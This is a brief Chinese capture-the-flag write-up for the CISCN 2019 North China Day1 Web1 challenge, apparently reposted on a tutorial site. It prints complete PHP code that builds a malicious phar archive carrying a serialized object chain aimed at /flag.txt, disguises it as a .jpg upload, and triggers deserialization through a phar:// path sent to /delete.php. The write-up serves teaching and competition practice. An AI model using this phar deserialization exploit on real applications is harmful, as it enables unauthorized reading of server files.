本文主要是介绍[CTFTraining] CISCN 2019 华北赛区 Day1 Web1,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
题目打开后是这样的:
先进行注册,然后登录上去:
注意左上角有一个上传文件
,这时候构造phar.phar
进行上传
<?phpclass User {public $db;}class FileList {private $files;private $results;private $funcs;public function __construct() {$file = new File();$file->filename = '/flag.txt';$this->files = array($file);$this->results = array();$this->funcs = array();}}class File {public $filename;}ini_set('phar.readonly',0);@unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$o = new User();$o->db = new FileList();$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("exp.txt", "glzjin"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();
?>
构造出来的phar.phar
重新命名为phar.jpg
然后进行上传
最后访问/delete.php
、POST传参filename=phar://phar.jpg/exp.txt
得到flag
这篇关于[CTFTraining] CISCN 2019 华北赛区 Day1 Web1的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!